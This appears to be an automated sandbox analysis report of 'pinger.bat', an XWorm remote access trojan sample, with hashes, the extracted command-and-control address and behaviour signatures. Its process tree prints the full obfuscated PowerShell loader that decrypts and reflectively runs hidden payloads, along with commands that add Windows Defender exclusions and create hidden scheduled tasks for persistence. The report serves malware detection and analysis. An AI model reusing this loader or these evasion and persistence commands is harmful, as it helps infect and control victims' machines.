Analysis

  • max time kernel
    134s
  • max time network
    143s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    28-04-2024 03:00

General

  • Target

    pinger.bat

  • Size

    110KB

  • MD5

    ed3f9ae23e2900529c2389663c7a7f29

  • SHA1

    5319adb0c33db865eee7877cf5d7a48b815bb21b

  • SHA256

    7008c81ff751ea039b0c0b3bf5c3fdf01198b8a7a645836560dfbcb1054e0b32

  • SHA512

    cde4f505a6afbe30be1f491c1f62c25f77ffa739e6483cd6d9ce61dd73e58a0cbdace61ba4bbdf7a4715e6caf07cfe3a1659500d10bdde26766d12b211c6b73d

  • SSDEEP

    3072:OAm2nj93JqYoSmFCL0GSuBqcqjlKepfYb+OdNYDtN:I2nRZqYJm0L0GSNbKep6/ny

Malware Config

Extracted

Family

xworm

C2

continue-silk.gl.at.ply.gg:58347

127.0.0.1:58347

Attributes
  • Install_directory

    %AppData%

  • install_file

    steamwebhelper.exe

Signatures

  • Detect Xworm Payload 1 IoCs
  • Xworm

    Xworm is a remote access trojan written in C#.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 17 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 20 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\pinger.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4356
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XBTZHIR5Y+l/gP25W0+KqeKJL1jwl/lvB0dhdv8wotI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wd0nz582l/YYM0GAc1HU0g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $IQthO=New-Object System.IO.MemoryStream(,$param_var); $dcIoB=New-Object System.IO.MemoryStream; $meuxb=New-Object System.IO.Compression.GZipStream($IQthO, [IO.Compression.CompressionMode]::Decompress); $meuxb.CopyTo($dcIoB); $meuxb.Dispose(); $IQthO.Dispose(); $dcIoB.Dispose(); $dcIoB.ToArray();}function execute_function($param_var,$param2_var){ $vhmTd=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $JYzUH=$vhmTd.EntryPoint; $JYzUH.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\pinger.bat';$Tcunq=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\pinger.bat').Split([Environment]::NewLine);foreach ($FSspx in $Tcunq) { if ($FSspx.StartsWith(':: ')) { $MJksV=$FSspx.Substring(3); break; }}$payloads_var=[string[]]$MJksV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
      2⤵
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3196
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'RuntimeBroker_startup_198_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\startup_str_198.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4620
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\startup_str_198.vbs"
        3⤵
        • Checks computer location settings
        • Suspicious use of WriteProcessMemory
        PID:1108
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\startup_str_198.bat" "
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4388
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('XBTZHIR5Y+l/gP25W0+KqeKJL1jwl/lvB0dhdv8wotI='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('wd0nz582l/YYM0GAc1HU0g=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $IQthO=New-Object System.IO.MemoryStream(,$param_var); $dcIoB=New-Object System.IO.MemoryStream; $meuxb=New-Object System.IO.Compression.GZipStream($IQthO, [IO.Compression.CompressionMode]::Decompress); $meuxb.CopyTo($dcIoB); $meuxb.Dispose(); $IQthO.Dispose(); $dcIoB.Dispose(); $dcIoB.ToArray();}function execute_function($param_var,$param2_var){ $vhmTd=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $JYzUH=$vhmTd.EntryPoint; $JYzUH.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Roaming\startup_str_198.bat';$Tcunq=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Roaming\startup_str_198.bat').Split([Environment]::NewLine);foreach ($FSspx in $Tcunq) { if ($FSspx.StartsWith(':: ')) { $MJksV=$FSspx.Substring(3); break; }}$payloads_var=[string[]]$MJksV.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
            5⤵
            • Drops startup file
            • Adds Run key to start application
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:780
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:4184
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'powershell.exe'
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:1160
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\steamwebhelper.exe'
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:3588
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'steamwebhelper.exe'
              6⤵
              • Suspicious behavior: EnumeratesProcesses
              PID:3228
            • C:\Windows\System32\schtasks.exe
              "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "steamwebhelper" /tr "C:\Users\Admin\AppData\Roaming\steamwebhelper.exe"
              6⤵
              • Creates scheduled task(s)
              PID:4740
  • C:\Users\Admin\AppData\Roaming\steamwebhelper.exe
    C:\Users\Admin\AppData\Roaming\steamwebhelper.exe
    1⤵
    • Executes dropped EXE
    • Suspicious behavior: EnumeratesProcesses
    PID:3648

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
    Filesize

    3KB

    MD5

    661739d384d9dfd807a089721202900b

    SHA1

    5b2c5d6a7122b4ce849dc98e79a7713038feac55

    SHA256

    70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

    SHA512

    81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    5d8e6452344f8fdc63b4c30fac8d2323

    SHA1

    53e3f6cdb88a1581bd72759b8ce30602402c0ae4

    SHA256

    f1d467c8f140e1b474b94225b46a42ac5e64d3e09103ac0caa4748e9a6b79e77

    SHA512

    e4b0612fcd1e1c4eee167a7dfd32242b5559c03d935d43e16f26866af5fb7a73ff6907f39ce1c36c5b69dca1a4ddac7036281221c9a8121a3f3a31771b686f95

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    944B

    MD5

    6d42b6da621e8df5674e26b799c8e2aa

    SHA1

    ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

    SHA256

    5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

    SHA512

    53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    944B

    MD5

    d8cb3e9459807e35f02130fad3f9860d

    SHA1

    5af7f32cb8a30e850892b15e9164030a041f4bd6

    SHA256

    2b139c74072ccbdaa17b950f32a6dbc934dfb7af9973d97c9b0d9c498012ba68

    SHA512

    045239ba31367fbdd59e883f74eafc05724e23bd6e8f0c1e7171ea2496a497eb9e0cfcb57285bb81c4d569daadba43d6ef64c626ca48f1e2a59e8d97f0cc9184

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    944B

    MD5

    50d3033f2bc3a3774c469d03e71a79a9

    SHA1

    22027b1d52085de99b3bffa276530fea5d961471

    SHA256

    2987e99ec7fa17bd4ab7de3cb4dc62645e1052012a5a357904d6fc6db9054147

    SHA512

    ecf7ab1a9e4192454a3e24c60453fd702a8c648e00078fc933b9182f4a3d3c10c6f5da622a5729b35727e6ddc8837029caddcaf76f56e805b9744253b56da5d8

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_y3gzgztt.1yd.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\startup_str_198.bat
    Filesize

    110KB

    MD5

    ed3f9ae23e2900529c2389663c7a7f29

    SHA1

    5319adb0c33db865eee7877cf5d7a48b815bb21b

    SHA256

    7008c81ff751ea039b0c0b3bf5c3fdf01198b8a7a645836560dfbcb1054e0b32

    SHA512

    cde4f505a6afbe30be1f491c1f62c25f77ffa739e6483cd6d9ce61dd73e58a0cbdace61ba4bbdf7a4715e6caf07cfe3a1659500d10bdde26766d12b211c6b73d

  • C:\Users\Admin\AppData\Roaming\startup_str_198.vbs
    Filesize

    115B

    MD5

    5e26425e63f7eb5f1b763d0c6b0ef11b

    SHA1

    78fac1f7cb58506439bba1dfaa737bc674974a7a

    SHA256

    aacb2140bc7899188c7456e2879665245392aa69103622fcaf2641c28652df50

    SHA512

    9a5988d314b1d487a920ed5cc9a855a788410c80f42ad24dc3c368f507b2e40e37fc524c8daeb107a9e301ce4c8aed334ee6ecfa4c4de67cc821f46d2d775ab8

  • C:\Users\Admin\AppData\Roaming\steamwebhelper.exe
    Filesize

    442KB

    MD5

    04029e121a0cfa5991749937dd22a1d9

    SHA1

    f43d9bb316e30ae1a3494ac5b0624f6bea1bf054

    SHA256

    9f914d42706fe215501044acd85a32d58aaef1419d404fddfa5d3b48f66ccd9f

    SHA512

    6a2fb055473033fd8fdb8868823442875b5b60c115031aaeda688a35a092f6278e8687e2ae2b8dc097f8f3f35d23959757bf0c408274a2ef5f40ddfa4b5c851b

  • memory/780-49-0x000001E22E150000-0x000001E22E16E000-memory.dmp
    Filesize

    120KB

  • memory/3196-13-0x000001B2CF290000-0x000001B2CF298000-memory.dmp
    Filesize

    32KB

  • memory/3196-14-0x000001B2E97F0000-0x000001B2E9806000-memory.dmp
    Filesize

    88KB

  • memory/3196-50-0x00007FF986170000-0x00007FF986C31000-memory.dmp
    Filesize

    10.8MB

  • memory/3196-10-0x00007FF986170000-0x00007FF986C31000-memory.dmp
    Filesize

    10.8MB

  • memory/3196-12-0x000001B2CF240000-0x000001B2CF250000-memory.dmp
    Filesize

    64KB

  • memory/3196-11-0x000001B2CF240000-0x000001B2CF250000-memory.dmp
    Filesize

    64KB

  • memory/3196-9-0x000001B2CF430000-0x000001B2CF452000-memory.dmp
    Filesize

    136KB

  • memory/3648-108-0x000001A6A72A0000-0x000001A6A72E4000-memory.dmp
    Filesize

    272KB

  • memory/3648-109-0x000001A6A7570000-0x000001A6A75E6000-memory.dmp
    Filesize

    472KB

  • memory/4620-30-0x00007FF986170000-0x00007FF986C31000-memory.dmp
    Filesize

    10.8MB

  • memory/4620-25-0x00007FF986170000-0x00007FF986C31000-memory.dmp
    Filesize

    10.8MB

  • memory/4620-26-0x0000012C51680000-0x0000012C51690000-memory.dmp
    Filesize

    64KB

  • memory/4620-27-0x0000012C51680000-0x0000012C51690000-memory.dmp
    Filesize

    64KB